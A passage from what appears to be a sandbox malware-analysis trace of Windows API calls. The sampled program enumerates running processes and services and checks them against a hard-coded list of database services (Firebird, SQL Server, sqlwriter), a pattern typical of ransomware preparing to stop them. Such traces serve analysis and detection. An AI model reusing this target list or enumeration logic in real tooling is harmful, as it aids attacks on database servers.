pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0269.009] lstrlenW (lpString="winlogon.exe") returned 12 [0269.009] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0269.009] lstrlenW (lpString="services.exe") returned 12 [0269.009] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0269.009] lstrlenW (lpString="lsass.exe") returned 9 [0269.009] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0269.009] lstrlenW (lpString="lsm.exe") returned 7 [0269.009] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.009] lstrlenW (lpString="svchost.exe") returned 11 [0269.010] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.010] lstrlenW (lpString="svchost.exe") returned 11 [0269.010] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.010] lstrlenW (lpString="svchost.exe") returned 11 [0269.010] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.010] lstrlenW (lpString="svchost.exe") returned 11 [0269.010] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.010] lstrlenW (lpString="svchost.exe") returned 11 [0269.011] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0269.011] lstrlenW (lpString="audiodg.exe") returned 11 [0269.011] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.011] lstrlenW (lpString="svchost.exe") returned 11 [0269.011] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.011] lstrlenW (lpString="svchost.exe") returned 11 [0269.011] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0269.011] lstrlenW (lpString="userinit.exe") returned 12 [0269.012] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0269.012] lstrlenW (lpString="dwm.exe") returned 7 [0269.012] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0269.012] lstrlenW (lpString="explorer.exe") returned 12 [0269.012] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0269.012] lstrlenW (lpString="spoolsv.exe") returned 11 [0269.012] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0269.012] lstrlenW (lpString="taskhost.exe") returned 12 [0269.012] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.013] lstrlenW (lpString="svchost.exe") returned 11 [0269.013] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0269.013] lstrlenW (lpString="chrome64b.exe") returned 13 [0269.013] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0269.013] lstrlenW (lpString="reader_sl.exe") returned 13 [0269.013] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0269.013] lstrlenW (lpString="taskhost.exe") returned 12 [0269.013] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0269.014] lstrlenW (lpString="consent.exe") returned 11 [0269.014] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0269.014] CloseHandle (hObject=0x40c) returned 1 [0269.014] Sleep (dwMilliseconds=0x1f4) [0269.612] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4623720 [0269.612] EnumServicesStatusExW (in: hSCManager=0x4623720, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0269.612] GetLastError () returned 0xea [0269.612] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x11e4) returned 0x4c90058 [0269.612] EnumServicesStatusExW (in: hSCManager=0x4623720, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4c90058, cbBufSize=0x11e4, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4c90058, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0269.613] CloseServiceHandle (hSCObject=0x4623720) returned 1 [0269.613] lstrlenW (lpString="Appinfo") returned 7 [0269.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0269.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0269.613] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0269.613] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0269.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0269.613] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0269.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0269.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0269.613] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0269.613] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0269.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0269.613] lstrlenW (lpString="AudioSrv") returned 8 [0269.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0269.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0269.613] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0269.613] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0269.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0269.613] lstrlenW (lpString="BFE") returned 3 [0269.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0269.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0269.613] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0269.613] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0269.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0269.613] lstrlenW (lpString="CryptSvc") returned 8 [0269.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0269.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0269.614] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0269.614] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0269.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0269.614] lstrlenW (lpString="CscService") returned 10 [0269.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0269.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0269.614] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0269.614] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0269.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0269.614] lstrlenW (lpString="DcomLaunch") returned 10 [0269.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0269.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0269.614] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0269.614] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0269.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0269.614] lstrlenW (lpString="Dhcp") returned 4 [0269.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0269.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0269.614] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0269.614] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0269.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0269.614] lstrlenW (lpString="Dnscache") returned 8 [0269.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0269.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0269.614] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0269.614] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0269.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0269.614] lstrlenW (lpString="DPS") returned 3 [0269.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0269.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0269.614] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0269.614] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0269.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0269.615] lstrlenW (lpString="eventlog") returned 8 [0269.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0269.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0269.615] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0269.615] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0269.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0269.615] lstrlenW (lpString="EventSystem") returned 11 [0269.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0269.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0269.615] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0269.615] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0269.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0269.615] lstrlenW (lpString="gpsvc") returned 5 [0269.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0269.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0269.615] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0269.615] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0269.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0269.615] lstrlenW (lpString="iphlpsvc") returned 8 [0269.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0269.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0269.615] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0269.615] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0269.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0269.615] lstrlenW (lpString="LanmanServer") returned 12 [0269.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0269.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0269.615] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0269.615] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0269.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0269.615] lstrlenW (lpString="LanmanWorkstation") returned 17 [0269.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0269.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0269.616] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0269.616] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0269.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0269.616] lstrlenW (lpString="lmhosts") returned 7 [0269.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0269.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0269.616] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0269.616] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0269.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0269.616] lstrlenW (lpString="MMCSS") returned 5 [0269.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0269.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0269.616] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0269.616] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0269.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0269.616] lstrlenW (lpString="MpsSvc") returned 6 [0269.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0269.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0269.616] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0269.616] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0269.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0269.616] lstrlenW (lpString="Netman") returned 6 [0269.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0269.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0269.616] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0269.616] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0269.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0269.616] lstrlenW (lpString="netprofm") returned 8 [0269.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0269.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0269.616] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0269.616] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0269.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0269.616] lstrlenW (lpString="NlaSvc") returned 6 [0269.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0269.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0269.617] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0269.617] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0269.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0269.617] lstrlenW (lpString="nsi") returned 3 [0269.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0269.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0269.617] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0269.617] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0269.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0269.617] lstrlenW (lpString="PcaSvc") returned 6 [0269.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0269.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0269.617] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0269.617] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0269.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0269.617] lstrlenW (lpString="PlugPlay") returned 8 [0269.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0269.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0269.617] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0269.617] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0269.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0269.617] lstrlenW (lpString="Power") returned 5 [0269.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0269.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0269.617] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0269.617] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0269.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0269.617] lstrlenW (lpString="ProfSvc") returned 7 [0269.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0269.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0269.617] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0269.617] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0269.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0269.617] lstrlenW (lpString="RpcEptMapper") returned 12 [0269.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0269.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0269.618] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0269.618] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0269.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0269.618] lstrlenW (lpString="RpcSs") returned 5 [0269.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0269.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0269.618] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0269.618] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0269.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0269.618] lstrlenW (lpString="SamSs") returned 5 [0269.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0269.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0269.618] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0269.618] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0269.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0269.618] lstrlenW (lpString="Schedule") returned 8 [0269.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0269.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0269.618] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0269.618] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0269.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0269.618] lstrlenW (lpString="SENS") returned 4 [0269.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0269.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0269.618] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0269.618] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0269.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0269.618] lstrlenW (lpString="ShellHWDetection") returned 16 [0269.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0269.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0269.618] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0269.618] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0269.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0269.619] lstrlenW (lpString="Spooler") returned 7 [0269.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0269.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0269.619] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0269.619] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0269.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0269.619] lstrlenW (lpString="SysMain") returned 7 [0269.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0269.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0269.619] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0269.619] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0269.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0269.619] lstrlenW (lpString="Themes") returned 6 [0269.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0269.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0269.619] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0269.619] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0269.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0269.619] lstrlenW (lpString="TrkWks") returned 6 [0269.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0269.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0269.619] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0269.619] lstrcmpiW (lpString1="mssqlserver", 